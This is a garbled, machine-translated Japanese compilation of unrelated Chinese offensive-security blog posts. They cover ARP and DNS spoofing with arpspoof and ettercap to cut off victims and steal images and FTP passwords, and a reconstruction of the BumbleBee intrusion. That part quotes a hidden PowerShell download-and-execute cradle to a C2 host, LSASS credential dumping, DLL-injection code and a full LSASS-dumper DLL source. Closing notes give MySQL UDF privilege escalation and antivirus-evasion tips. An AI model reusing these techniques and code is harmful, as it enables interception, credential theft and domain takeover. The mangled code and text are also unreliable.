スイッチメガおよびその他のプラグインを使用してエージェントに接続し、MITM.ITにアクセスして証明書インストールページに入力し、オペレーティングシステムに従って証明書をインストールします。

例としてmacosを取る:

175143_y7wfgR

ダウンロードしてインストールした後、キーチェーンアクセスを開き、mitmproxy証明書を見つけて、AlwaysStrusに変更します

175302_B8WD5s

インストール証明書

ターゲットシステムの2つのアカウントAとBを最初に準備し、システムの認証ロジック(Cookie、Header、パラメーターなど)に従ってAアカウント情報config/config.ymlを構成し、次にBアカウントにログインします

175522_XdPt84

アカウントBを使用してアクセスすると、スクリプトは認証情報と再生を自動的に置き換え、応答結果に基づいて期限切れの脆弱性があるかどうかを判断します。

175435_PFm3WY

レポートを生成します

新しい脆弱性があるたびに、レポート/result.htmlに自動的に追加され、ブラウザを介して開きます。

181645_PaztjA

特定のエントリをクリックして、対応するリクエストと応答を展開/崩壊させます。

181811_HJMDoo

検出ロジック

230504_ECb2mP

元の接続:https://github.com/y1nglamore/idor_detect_tool

arp攻撃

契約の紹介

ARPのフルネームはアドレス解像度プロトコルであり、アドレス解像度プロトコルです。 IPアドレスに基づいて物理アドレスを取得するのは、TCP/IPプロトコルです。ホストが情報を送信すると、ターゲットIPアドレスを含むARP要求をネットワーク上のすべてのホストにブロードキャストし、ターゲットの物理アドレスを決定するための返品メッセージを受信します。返品メッセージを受信した後、IPアドレスと物理アドレスはネイティブARPキャッシュに保存され、一定期間予約されます。 ARPキャッシュは、リソースを保存するために次にリクエストしたときに直接照会されます。

ARPアドレス解像度プロトコルは、ネットワーク内のさまざまなホスト間の相互信頼に基づいています。ネットワーク上のホストは、ARP応答メッセージを個別に送信できます。他のホストが返信メッセージを受信した場合、メッセージの信頼性を検出せず、ネイティブARPキャッシュに記録します。したがって、攻撃者は特定のホストに擬似ARP返信メッセージを送信することができます。そのため、送信する情報は、ARPのスプーフィングを構成する予想ホストまたは間違ったホストに到達できません。

動作原理

環境の仮定

ホストA:

IPアドレス:192.168.1.1MACアドレス:0A-11-22-33-44-01HOST B:

IPアドレス:192.168.1.2MACアドレス:0A-11-22-33-44-02

ワークフロー

ステップ1:ホストAのルーティングテーブルコンテンツによると、ホストBにアクセスするために使用されるフォワーディングIPアドレスが192.168.1.2であると判断し、ホストAはローカルARP CACHのホストBの一致MACアドレスをチェックします。ステップ2:ホストAがARPキャッシュにマッピングが見つからない場合、192.168.1.2のハードウェアアドレスに尋ねるため、ARPリクエストフレームが拡大します。ローカルネットワーク上のすべてのホストに再生すると、ソースホストAのIPアドレスとMACアドレスがARPリクエストに含まれています。ローカルネットワーク上の各ホストはARP要求を受信し、独自のIPアドレスと一致するかどうかを確認します。ホストが、要求されたIPアドレスが独自のIPアドレスと一致しないことを発見した場合、ARPリクエストを破棄します。ステップ3:ホストBは、ARP要求のIPアドレスが独自のIPアドレスと一致し、ホストAのIPアドレスとMACの位置がローカルARPキャッシュに追加されることを決定します。ステップ4:ホストBは、MACアドレスを含むARP応答メッセージをホストAに直接戻します。ステップ5:ホストAがホストBから送信されたARP応答メッセージを受信すると、ホストBのIPおよびMACアドレスマッピングでARPキャッシュを更新します。ローカルキャッシュには生涯があります。寿命が終了すると、上記のプロセスが再び繰り返されます。ホストBのMACアドレスが決定されると、ホストAはIP通信をホストBに送信できます。

キャッシュメカニズム

ARPキャッシュは、IPアドレスとMacアドレスを保存するために使用されるバッファーです。そのエッセンスは、IPアドレス-MACアドレスの対応するテーブルです。テーブル内の各エントリは、ネットワーク上の他のホストのIPアドレスと対応するMACアドレスを記録します。各イーサネットまたはトークンリングネットワークアダプターには、独自のテーブルがあります。アドレス解像度プロトコルが既知のIPアドレスノードのMACアドレスについて尋ねられると、最初にARPキャッシュで表示されます。存在する場合、対応するMacアドレスを直接返します。存在しない場合は、LANを照会するARPリクエストを送信します。ブロードキャストボリュームを最小限に抑えるために、ARPは将来の使用のためにMACアドレスマッピングへのIPアドレスのキャッシュを維持します。

ARPキャッシュには、動的および静的プロジェクトを含めることができます。動的プロジェクトは自動的に追加され、時間とともに削除されます。各動的ARPキャッシュアイテムの潜在的なライフサイクルは10分です。新しく追加されたアイテムはタイムスタンプされています。プロジェクトが追加されてから2分以内に使用されない場合、プロジェクトは有効期限が切れ、ARPキャッシュから削除されます。プロジェクトがすでに使用されている場合、さらに2分間のライフサイクルが受信されます。プロジェクトが常に使用されている場合、10分の最長のライフサイクルまでさらに2分間のライフサイクルが受信されます。静的プロジェクトは、コンピューターが再起動されるまでキャッシュに残ります。

arpスプーフィング

ARPアドレス解決プロトコルは、ネットワーク内のさまざまなホスト間の相互信頼に基づいています。その誕生により、ネットワークはより効率的に実行されますが、欠陥もあります。 ARPアドレス変換テーブルは、コンピューターのキャッシュメモリの動的な更新に依存し、キャッシュメモリの更新は更新サイクルによって制限され、最近使用されたアドレスのマッピング関係テーブルエントリのみが保存されます。これにより、攻撃者は、キャッシュメモリがテーブルエントリを更新して攻撃を実現する前に、アドレス変換テーブルを変更する機会を与えます。

ARPリクエストはブロードキャストフォームで送信されます。ネットワーク上のホストは、ARP応答メッセージを個別に送信できます。他のホストが返信メッセージを受け取ったとき、メッセージの信ity性を検出し、ローカルMACアドレス翻訳テーブルに記録しません。このようにして、攻撃者はターゲットホストに擬似ARP応答メッセージを送信し、それによりローカルMACアドレステーブルを改ざんします。 ARPのスプーフィングにより、ターゲットコンピューターがゲートウェイと通信できなくなる可能性があり、通信のリダイレクトにもつながります。すべてのデータは攻撃者のマシンに渡されます。攻撃者は、ターゲットとゲートウェイの間でデータを転送します。これは、ターゲットの通常のインターネットアクセスに影響を与えることなくターゲットを聴く目的を達成するために、「仲介者」として使用できます。

欺ceptionの実践

基本環境

攻撃ホスト:192.168.174.129 00:0C:29:39:BE:EB正常ホスト:192.168.174.170 00:0C:29336008:AD:EBゲートウェイアドレス:192.168.174.2

切断攻撃

ステップ1:攻撃ホストのポート転送を閉じる

#終了

echo 0/proc/sys/net/ipv4/ip_forward

#許可する

Echo 1/proc/sys/net/ipv4/ip_forward

1049983-20230129140559574-267061974.jpg

ステップ2:通常のホストで現在のARP解像度リストを表示します

1049983-20230129140600284-753195515.jpg

ステップ3:通常のホストでバイドゥにピン留めします

ping www.baidu.com -T

1049983-20230129140600986-1420595615.jpg

通常、Baiduにアクセスできます。

1049983-20230129140601711-377836780.jpg

ステップ4:次に、ネットワークは攻撃ホストのAprspoofによって切り取られます

usage: arpspoof [-i interface] [-c own | host | blos] [-t target] [-r] host

#パラメーター説明:

- 使用するインターフェイスを指定します

-C ARP構成を復元するときに使用されるMACアドレスを指定します。デフォルトは元のMacを使用することです(つまり、ARPSPOOFコマンドを停止した後、デフォルトで脱着します)

-t毒されるホストを指定します。指定されていない場合、LANの下のすべてのホストにデフォルトです

-R双方向中毒(宿主とターゲット)、したがってデータの双方向キャプチャ(-Tが同時に指定されている場合にのみ有効)

#executionの例:

arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

1049983-20230129140602635-1232145428.jpg

ステップ5:Pingリクエストがタイムアウトし、ブラウザがwww.baidu.comを開くことができないことがわかります。同時に、ARP解像度テーブルをチェックすると、ゲートウェイのMACアドレスが正常にスプーフィングされ、攻撃者のMACアドレスに設定されていることがわかります。

1049983-20230129140603363-1270054129.jpgstep 6:その後、攻撃が中断されました(以前に-cパラメーターを指定しなかったため、元のMacアドレスが復元されます)1049983-20230129140604067-1512025892.jpg

pingが通常に戻り、ページとARPテーブルも通常に戻ることがわかります

1049983-20230129140604705-349404777.jpg

画像データ

ステップ1:ポート転送をオンにし、マシンがルーターのようなデータ情報を転送できるようにします

Echo 1/proc/sys/net/ipv4/ip_forward

1049983-20230129140605296-780391879.jpg

ステップ2:通常のホストで現在のARP解像度リストを表示します

1049983-20230129140605937-5170927.jpg

ステップ3:通常のホストでWebページにアクセスする

1049983-20230129140606648-1919331429.jpg

usage: arpspoof [-i interface] [-c own | host | blos] [-t target] [-r] host

#パラメーター説明:

- 使用するインターフェイスを指定します

-C ARP構成を復元するときに使用されるMACアドレスを指定します。デフォルトは元のMacを使用することです(つまり、ARPSPOOFコマンドを停止した後、デフォルトで脱着します)

-t毒されるホストを指定します。指定されていない場合、LANの下のすべてのホストにデフォルトです

-R双方向中毒(宿主とターゲット)、したがってデータの双方向キャプチャ(-Tが同時に指定されている場合にのみ有効)

#executionの例:

arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

1049983-20230129140607359-1535379602.jpg

ステップ5:その後、DriftNetはWebサイトにアクセスする際に被害者ユーザーの残存画像データ情報を取得します

1049983-20230129140608085-1225498038.jpg 1049983-20230129140608818-1299779077.jpg 1049983-20230129140609542-1723239514.jpg

ログイン資格情報

ステップ1:ここでは、上記の画像データパーツを拡張し続けます。EtterCapを使用して攻撃ホストの通信データをキャプチャします

eTtercap -tq -i eth0

1049983-20230129140610245-861224181.jpg

ステップ2:サードパーティFTPサービスをシミュレートします

1049983-20230129140610921-563578121.jpg

ステップ3:ユーザーはサードパーティのFTPサービスにアクセスし、認証します

1049983-20230129140611552-869109915.png

ステップ4:攻撃者はユーザーのアカウントパスワード情報を正常にキャプチャします

1049983-20230129140612222-670821545.jpg

スプーフィング拡張機能

ここでは、いくつかの一般的に使用されるARPスプーフィング方法とWindowsでのARPスプーフィングツールの使用を追加します〜

netfuke

3

テスト環境

ターゲットホスト:192.168.174.170(勝利7)攻撃ホスト:192.168.174.169(Windows Server 2003)ゲートウェイアドレス:192.168.174.2

欺ceptionプロセス

ステップ1:ネットフェットの実行中のホストの実行と、ネットフェの実行を担当します。 ARPスプーフィングは実行できません)

1049983-20230129140612974-455784759.png

ステップ2:ARPスプーフィングの構成

1049983-20230129140613650-1836780355.png

ステップ3:プラグインコマンドパラメーター設定

1049983-20230129140614397-2145380496.jpg

ステップ4:ARPスプーフィングをオンにします

1049983-20230129140615228-1163122555.png

攻撃検出

XARPツールの紹介

XARPは、海外で人気のあるARPファイアウォールソフトウェアです。ユーザーが特別な検出システムを確立し、高度なテクノロジーを使用して、ネットワーク上のさまざまなARP攻撃を検出および処理するのに役立ちます。たとえば、ARPスプーフィングを使用して、攻撃者は、電子メールやパスワードなど、すべてのネットワークトラフィックを盗聴できます。これはすべて発見されていません。 XARPは、このような攻撃を検出するためのアクティブおよびパッシブ方法を実行します。

攻撃検出

ステップ1:NetFukeをオンにしてARPスプーフィング攻撃を実装する

1049983-20230129140615902-1963725991.png

ステップ2:次に、XARP側はアラーム情報と関連する記録情報を見ることができます

1049983-20230129140616614-1756824487.jpg

ps:私は個人的にこのツールがそれほど良くないと感じています〜

防御測定

ARP詐欺の防衛方法は、主に次の2つの側面から始まります。

a。鍛造データパケットの伝播をブロックします。

この方法は、主にスイッチやルーターなどのネットワークデバイスの観点から始まります。スイッチを例にとると、スイッチのポート、MACアドレス、IPアドレスにバインドして、DAI(動的ARP検査)検出テーブルを生成します。特定のポートのホストがDAIテーブルのエントリと一致しないデータパケットを送信した場合、ネットワークを切断するか、送信するデータパケットを破棄することを選択できます。

b。被害者は偽のデータパケットを受け入れません

この方法は、主にユーザーの観点から始まります。まず、なじみのないネットワークにアクセスしないことは確かです。第二に、ユーザーはデバイスにARPファイアウォールをインストールできます。技術者である場合、静的ARPエントリを確立することを選択できます(頻繁に変化しないネットワーク環境に適しており、少数が少ない)。 windonwdeユーザーはコマンド 'arp -s ip'アドレスMacアドレスを使用して静的バインディングを実行します

dns攻撃

ドメイン名システム

DNS(ドメイン名システム)、つまりドメイン名解像度プロトコル。ドメイン名システムは、分散データベースの形でドメイン名とIPアドレスを互いにマッピングします。簡単に言えば、DNSはドメイン名を解決するために使用されます。 DNSを使用すると、迷惑なIPアドレスを覚えておく必要がなくなりました。比較的覚えやすいドメイン名を使用して、サーバーにアクセスします。サーバーがIPアドレスを変更したとしても、ドメイン名を介してサーバーにアクセスすることができます。これにより、インターネットにアクセスするのがより便利になります。

1049983-20230129140617417-1882185836.png

www.baidu.comをブラウザに入力すると、次のクエリプロセスを実行します。

クライアントは、www.baidu.comローカルDNSサーバーのローカルDNSサーバーをクエリして、ローカルデータベースを確認します。 Baidu.comドメインの記録はないため、クエリ情報をルートドメインDNSサーバーに渡し、解像度のホスト名を要求します。ルートドメインDNSサーバーは、「com」ドメインをローカルDNSサーバーに解決するためのDNSサーバーのIPアドレスを返します。ローカルDNSサーバーは、「com」ドメインサーバーを担当する「com」ドメインサーバーを担当するDNSサーバーにリクエストを送信します。リクエストによると、「baidu.com」ドメインを担当するDNSサーバーのIPアドレスは、「baidu.com」ドメインを担当するローカルDNSサーバーに返されます。ローカルDNSサーバーは、「baidu.com」ドメインを担当するDNSサーバーにリクエストを送信します。このサーバーにはwww.baidu.comのレコードがあるため、www.baidu.comになります。 IPアドレスはローカルDNSサーバーに返されます。ローカルDNSサーバーは、www.baidu.comのIPアドレスをクライアントに送信します。ドメイン名が正常に解決された後、クライアントはHTTP要求をWebサーバーに送信します。 Webサーバーは、クライアントのアクセスリクエストに応答します。クライアントはターゲットホストにアクセスできます。

dnsスプーフィング

DNSはインターネットでこのような重要な役割を果たしていますが、DNSプロトコルを設計するとき、設計者はいくつかのセキュリティの問題を考慮せず、DNSのセキュリティリスクと欠陥につながりました。 DNSスプーフィングは、DNSプロトコルを設計する際に非常に深刻なセキュリティ欠陥です。

まず、Spooferは構築されたARP応答パケットをターゲットマシンに送信します。 ARPスプーフィングが成功した後、相手が送信したDNSリクエストパケットを嗅ぎ、パケットを分析してIDとポート番号を取得し、ターゲットによって構築されたDNSリターンパケットを送信します。 DNS Replyパケットを受信した後、IDとポート番号がすべて正しいことがわかります。つまり、ドメイン名とRETURNパケットの対応するIPアドレスがDNSキャッシュテーブルに保存され、実際のDNS Replyパケットが後の実際のDNS返信パケットが返されると破棄されます。

欺ceptionの実践

テスト環境

攻撃ホスト:192.168.174.129ターゲットホスト:192.168.174.170

簡単なテスト

ステップ1:攻撃ホストのネットワーク接続性をテストする

1049983-20230129140618086-1953357804.jpg

ステップ2:次に、攻撃者のホストでApacheサービスを開始し、フィッシングページを作成します。これは、通常のHTMLページに簡素化されます。ローカルテスト効果は次のとおりです

1049983-20230129140618746-1746632493.png

ステップ3:Etter.dnsファイルを見つけ、構成ファイルを変更します。ポイントwww.al1ex.comはローカルIPアドレスに

Etter.dnsを見つけます

leafpad /etc/ettercap/etter.dns

1049983-20230129140619383-361146956.jpg 1049983-20230129140620078-689761696.jpg

ステップ4:eTtercapでスプーフィングを開始します

eTtercap -g

1049983-20230129140620777-615927757.jpg

次に、DNSスプーフィングを有効にします

0はじめに

実践的なケースの修復3《BumbleBee Roasts Its Way To Domain Admin》記事では、浸透ケースについて詳しく説明していますが、記事の組織構造は、タイムラインロジックに従って編成されるのではなく、ATTCKフレームワークに基づいています。したがって、浸透担当者が以前のプロセスとその後のプロセスを理解し、学習することは困難です。ここでは、タイムラインに従って実際の戦闘を整理して復元します。

《BumbleBee Roasts Its Way To Domain Admin》元のリンク

1日1(1日)

1.1サンプル配信

メールのダウンロードリンクを介して配信されるターゲット環境のマシンのようです。このサンプルはパスワードフリーパッケージです。減圧後、ファイルbc_invoice_report_corp_46.isoをリリースします。このISOファイルをマウントすると、LNKファイルドキュメントがリリースされ、このショートカットをダブルクリックするときに隠された悪意のあるローダーが実行されます。ショートカットの目標は次のとおりです。

c: \ windows \ system32 \ cmd.exe /c start rundll32 namr.dll、italjob

115uaelhnd13491.png

1.1.1 rundll32分析

rundll32を使用してロードおよび実行することは、一般的な侵入ルーチンです。 DLLでプログラムを実行することもできます。また、通常、シェルを取得するために使用することもできます。

Exploit/Windows/SMB/SMB_Deliveryを使用します

SRVHOST 10.X.X.Xを設定します

エクスプロイト

1qblzisafbs3492.png

qdlojni4k1b3493.png

1.2悪意のあるプログラムのロードバンブルビー

ローダーバンブルビーはコバルトストライクセッションを返します。攻撃者は、このコバルトストライクシェルを使用してWab.exeを放出します。実行可能ファイルにはWMI実行があります。

c: \ windows \ system32 \ webm \ wmiprvse.exe -secured -embedding

vb5ffd4fz1w3494.png

wab.exeは、他の2つのプロセスExplorer.exeおよびrundll32.exeに悪意のあるコードを注入します。元のテキストによると、OpenProcess、VirtualAlloc、WriteProcessMemory、CreatereMotEthreadなどの古典的なWindowsシステムコールAPIを使用して、リモートスレッドインジェクションとプロセスインジェクションを使用します。これらの説明によると、攻撃者には少なくとも管理者の権限があります。一般に、彼が管理者の権限を持っている場合、彼はシステムの権限を持っています。記事の説明から判断すると、攻撃者はGetSystemを使用して権限を高めます。リモートスレッドインジェクションの例のコードは次のとおりです。

bool createremotethreadinjectdll(dword dwprocessid、char* pszdllfilename){

hprocess=nullを処理します。

dword dwsize=0;

lpvoid pdlladdr=null;

farproc pfuncprocaddr=null;

hprocess=:openprocess(process_all_access、false、dwprocessid); //プロセスを開いてプロセスハンドルを取得します

dwsize=1+ :3360lstrlen(pszdllfilename); //DLLサイズを取得します

PDLLADDR=:VIRTUALALLOCEX(HPROCESS、NULL、DWSIZE、MEM_COMMIT、PAGE_READWRITE); //アプリケーションの//

:WRITEPROCESSMEMORY(HPROCESS、PDLLADDR、PSZDLLFILENAME、DWSIZE、NULL); //メモリにDLLを書き込みます

pfuncproaddr=:3360GetProCADDRESS(:GETMODULEHANDLE( 'Kernel32.dll')、 'loadLibiary'); //関数loadlibraryaaaの関数アドレスを取得します

ハンドルhremotethread=:3360createremotethread(hprocess、null、0、(lpthread_start_routine)pfuncprocaddr、pdlladdr、0、null); //リモートスレッドを作成する

:CloseHandle(hprocess);

trueを返します。

}

1.3ホスト情報を収集した

攻撃者は、さまざまなコマンドを使用して、オペレーティングシステム、ネットワーク、ユーザー、ソフトウェア、プロセス、ドメインなどに関する情報を収集します。

IPCONFIG /ドメインを含むすべての#Getネットワーク情報

ping -n 1 [domain] #testドメイン接続

ネットグループ「ドメイン管理者」 /ドメイン#ゲットドメイン管理グループメンバー

nslookup x.x.x.x#get x.x.x IPアドレス

タスクリスト#getプロセス情報

SystemInfo #getシステム情報

WMIC製品は、名前、バージョン#ソフトウェア情報を取得します

wmic /node'ledactedプロセスリストブリーフ#getプロセス情報

ネットビュー\\ redacted \ files $ /すべて#columnリモートサーバーファイル共有ディレクトリ

dir \\ redacted \ c $ \ #column cディスクディレクトリ

TaskList /v /s x.x.x.x #remotely x.x.x.xプロセスの詳細を取得します

正味使用

ネットグループ「ドメインコンピューター」 /ドメイン

ネットグループ「エンタープライズ管理者」 /ドメイン

ネットグループ「ドメインコンピューター」 /ドメイン

ネットローカルグループ管理者

nltest /dclist

nltest /domain_trusts

ping -n 1 remote_ip

上記で実行されたコマンドによると、攻撃者はリモートサーバーX.X.X.Xの権限またはユーザー名とパスワードを取得しました。

1.4サーバーに水平に移動し、情報を収集し続ける

元の説明では、ローカル管理アカウントを使用してRDPプロトコルを介してサーバーに水平に移動し、Anydesk.exeをバックドアとしてリリースし、Adfind.exeを使用して情報を収集し始めます(説明により、サーバーはドメイン内にあるようです):

cmd.exe /c af.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c af.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c af.exe -sc trustdump trustdump.txt

cmd.exe /c af.exe -gcb -sc trustdump trustdump.txt

2日目(2日目)

2.1サーバーに関する情報を収集し続けます

攻撃者は、RDPとアップロードされたVulnReconを使用してサーバーにログインし続けました。これは、Windowsマシンの上昇する許可へのパスを識別するために特別に設計されたツールです。

3日目(4日目)

3.1充電されたホストに関する情報を収集し続けます

攻撃者は、充電されたホストおよび環境上の複数のマシンにVulnReConツールとSysInternalsツールツールキットをアップロードし、VulnReCon、Adfind、Procdump、およびその他のツールを使用して情報を収集し続けました。その中で、彼らはリモートサービスを使用してProcDumpを実行してLSASS.exeのメモリを抽出して資格情報を取得し、説明に従って、少なくとも複数のホストと少なくとも1つのサーバーへの権限を取得しました。現在のところ、経営陣やより高い許可にアクセスできないようです。 Adfindを使用するプロセスは、元の制御ホストで発生しますが、もちろん、新しい水平に移動したホストでは除外されていません。

cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c adfind.exe -f '(objectcategory=guristanimationalunit)' ad_ous.txt

cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

3.1.1 VulnReCon分析

Vulnreconには、実行可能ファイルとDLL、つまりVulnrecon.exeおよびvulnrecon.dllがあります。これは、特権エスカレーションと情報収集の方法を列挙するために使用されます。元の制御ホストにアップロードするカスタムツールのようです。もちろん、水平に移動する新しいホストでは除外されていません。

#VulnRecon.dll PDB: D: \ a \ _Work \ 1 \ s \ artifacts \ obj \ win-x64.Release \ corehost \ cli \ apphost \ standalone \ reliey \ apphost.pdb

#vulnrecon.exe PDB: d: \ work \ rt \ vulnrecon \ vulnrecon \ obj \ release \ net5.0 \ vulnrecon.pdb

# 指示

Vulnrecon.exe -V

vulnrecon.exe -o

vulnrecon.exe -findvulnerability

Vulnrecon.exe -i

Vulnrecon.exe -M

cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

cmd.exe /c vulnrecon.exe -i c: \ programdata \ 1.txt

cmd.exe /c vulnrecon.exe -o C: \ programdata \ out.txt

vqscoyzduhf3495.png

31sjolt4qd03496.png

dmmjtvxsdoc3497.png

電力のエスカレーションは、元の充電されたホストで発生するLSASSメモリを取得するためにprocdumpを実行することであるようです。

### 3.2 LSAの資格情報を取得します。説明に従ってダンプされたファイルは、プログラムダタに保存されます。ネット使用およびその他の方法を使用して取得でき、亀裂にMimikatzまたはPypykatzを使用します。これらのプロセスは、元の充電されたホストから発見され、横方向に移動した被害者ホストとサーバーで発生します。

c: \ programdata \ procdump64.exe -accepteula -ma lsass.exe c: \ programdata \ lsass.dmp

4日目(7日目)

4.1充電されたサーバーに関する情報を収集し続けます

攻撃者は、Vulnreconを使用してサーバー上の情報を収集し続け、シートベルトツール(一般的に使用される情報収集ツール)も使用しました。説明によると、サーバーのローカル管理者特権が使用されています。

seatbelt.exe -group=all -outputfile='c: \ programdata \ seatinfo.txt'

vulnrecon.exe -o

Vulnrecon.exe -V

Vulnrecon.exe -M

cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

5日目(11日目)

5.1充電されたホストにシェルをバウンスします

攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしたと常に非難されています。

c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'

Aで見つかったコバルトストライクのデフォルト構成文字MZREによれば、これはC2アドレスに接続する命令であると結論付けることができます。攻撃者は、攻撃者が制御するC2の充電されたホストを取得します。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)その後、他のプロセスへの投入を開始します。元の説明によると、svchost.exeなどのいくつかのプロセスを注入する必要があります。その後、攻撃者はPowerShellモジュールInvoke-Kerberoastを実行し、KerberoAsting攻撃を開始しました。この場所は、請求されたホストからまだ開始されています。

#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc

IEX(new-Object net.webclient).downloadString( 'http://127.0.0.1336036177/'); invoke -kerberoast -outputformat hashcat | fl | Out -File -Filepath C: \ ProgramData \ REDACTED \ PS.TXT -APPEND -FORCE -ENCODING UTF8

#出力はハッシュカットモードであり、攻撃はハッシュカットを使用してブルートフォースクラッキングである必要があります

5.1.1 Kerberosting攻撃分析

KerberoAsting Attack Analysisは、TGS-KerberoAstingとAs-KerberoAstingの2つのタイプに分けられます。 Rubeus.exe、MSF、PowerShellを使用して実行できます。 Net-ntlmhashを取得するものは、Hashcatおよびその他のツールを使用してNTLMHASHまたはパスワードを取得することができます。

p0mrnvfyfzv3498.png

5.2資格抽出にMinidumpを使用

攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。

#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc

cmd.exe /c rundll32.exe c: \ windows \ system32 \ comsvcs.dll、minidump 968 c: \ programdata \ redacted \ lsass.dmp full

5.2.1ミニダンプ分析

攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。

#include stdio.h

#include windows.h

#include tlhelp32.h

typedef hresult(winapi* _minidumpw)(dword arg1、dword arg2、pwchar cmdline);

int getlsasspid(){

ProcessEntry32エントリ;

entry.dwsize=sizeof(processentry32);

hsnapshot=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS、NULL);

if(process32first(hsnapshot、entry)){

while(process32next(hsnapshot、entry)){

if(wcscmp(entry.szexefile、l'lsass.exe ')==0){

return entry.th32processid;

}

}

}

CloseHandle(hsnapshot);

0を返します。

}

void getdebugprivilege()

{

bool fok=false;

htokenを処理します。

if(openProcessToken(getCurrentProcess()、token_adjust_privileges、htoken)))

{

token_privileges tp;

tp.privilegecount=1;

lookupprivilegevalue(null、se_debug_name、tp.privileges [0] .luid);

tp.privileges [0] .attributes=true? se_privilege_enabled : 0;

調整tokenprivileges(htoken、false、tp、sizeof(tp)、null、null);

fok=(getLasterRor()==error_success);

CloseHandle(htoken);

}

}

void dumplsass()

{

wchar_t ws [100];

_minidumpw minidumpw;

minidumpw=(_minidumpw)getProcAddress(loadLibrary(l'Comsvcs.dll ')、' minidumpw ');

swprintf(ws、100、l '%u%hs'、getlsasspid()、 'c: \\ windows \\ temp \\ temp.bin full');

getDebugprivilege();

Minidumpw(0、0、WS);

}

bool apientry dllmain(hmodule hmodule、

dword ul_reason_for_call、

lpvoid lpresived

))

{

switch(ul_reason_for_call)

{

ケースdll_process_attach:

dumplsass();

壊す;

ケースdll_thread_attach:

ケースdll_thread_detach:

ケースdll_process_detach:

壊す;

}

trueを返します。

}

私はこのファイルを自分で編集しました。私はここにいます。元Aチームのボスに、浸透技術のビジョンと、喜んで共有してくれる外国のXPN巨人の精神に感謝します。

23ri42kloo03499.png

コンパイルと使用の参照

5.3充電されたホストの情報収集を続けます

Adfindを使用して、最初に充電されたホストに関する情報を収集し続けています。

cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

5.4最初の充電されたマシンでPowerShellを再度実行します。

攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしていると常に非難されています。

c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'

上記のプロセスは5.1で詳細に説明されており、繰り返されません。

5.5その他のマシンに関する情報収集

その他のマシンで次のコマンドを実行します。

c: \ windows \ system32 \ cmd.exe /cネットアカウント /ドメイン

c: \ windows \ system32 \ cmd.exe /cネットビュー /すべて

c: \ windows \ system32 \ cmd.exe /c hoami

c: \ windows \ system32 \ cmd.exe /cネットビュー\\ x.x.x.x \ /all

c: \ windows \ system32 \ cmd.exe /c wmic /node:x.x.x.xプロセスリストブリーフ

c: \ windows \ system32 \ cmd.exe /c net ''ドメインコントローラー ' /ドメイン

c: \ windows \ system32 \ cmd.exe /c net nltest /dclist: [domain]

5.6 2つのバッチスクリプト

攻撃者は、環境内の他のターゲットを分析および発見できる2つのスクリプトS.BATとW.BATをアップロードおよび実行します。

#s.bat

エコーオフ

for /f %% i in(servers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j serv.log

#W.BAT

@ECHOオフ

for /f %% i in(workers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j work.log.log

5.7 last

2つのスクリプトが実行された後、最初に充電されたマシンで新しいコバルトストライクセッションが再び実行されます。その後、攻撃者はサービスアカウントを使用して水平方向に移動し、ドメインコントロールでコバルトストライクセッションを実行します。元の説明によると、これは弱いパスワードであり、TGS-KerberoAstingを割るためにHashCATによって得られたNet-NTLMハッシュ値をクラックする操作によって非難されます。攻撃者は、ドメインコントロールにLSASSを投棄します。 exeのプロセスメモリは、ドメイン管理権を取得し、ドメインコントロールを突破できます

元の出典:https://www.cnblogs.com/kevingeorge/p/16595912.html

0x00環境

LinuxホストWWW許可ホストは外部ネットワークから出ることができませんフォワードプロキシはセグメントBを使用できませんイントラネット

0x01情報を収集

f-scrack.py redis、esなどを取得します。

PS: Scrack.pyのMSSQLモジュールブラストは不正確です。自分で簡単なものを書くことができます

python scrack.py -h 10.111.1.1-10.111.2.254 -P 3306,5432 -M 200 -T 6

1.redis

多くのキーがあるときはキーを使用しない *

基本情報:マスター、数量、バージョン番号を表示します

スキャンを使用してkeys:スキャン0マッチ *カウント100を表示

タイプ:タイプキーを表示します

ハッシュタイプ: HGETALLキー

2.mysql

Windowsでは、まずプラグインディレクトリ:に書き込むことができるかどうかをテストできます

@@Plugin_dirを選択します。

outfile plugin_dirにhelloを選択してください。次に、MSFに付属のUDFを使用し、最初に16進数に変換してから、プラグインディレクトリ:にエクスポートします

テストを使用します。

@a=concat( ''、0xhex_of_exe);

テーブルゴーストを作成します(data longblob);

ゴースト値に挿入( '');

Ghost Set data=@a;

GhostからDumpfile Dirにデータを選択します。

CREATE FUNCTION SYS_EVAL RETURNS STRING SONAME 'SYS_EVAL.DLL';

ドロップ関数SYS_EVAL; //使用後に削除し、良い習慣を開発し、最初にSYS_EVALを選択します。 sys_execを使用しないようにしてください(クラッシュします)

3.mssql

MSSQLブラストは、動きが比較的大きくなるため、可能な限り背面に配置する必要があります。

MSSQLブラストが成功した後、CLRを使用してアクセス許可を取得することをお勧めします。 `xp_cmdshell`を直接使用すると死に、360はそれを傍受します。

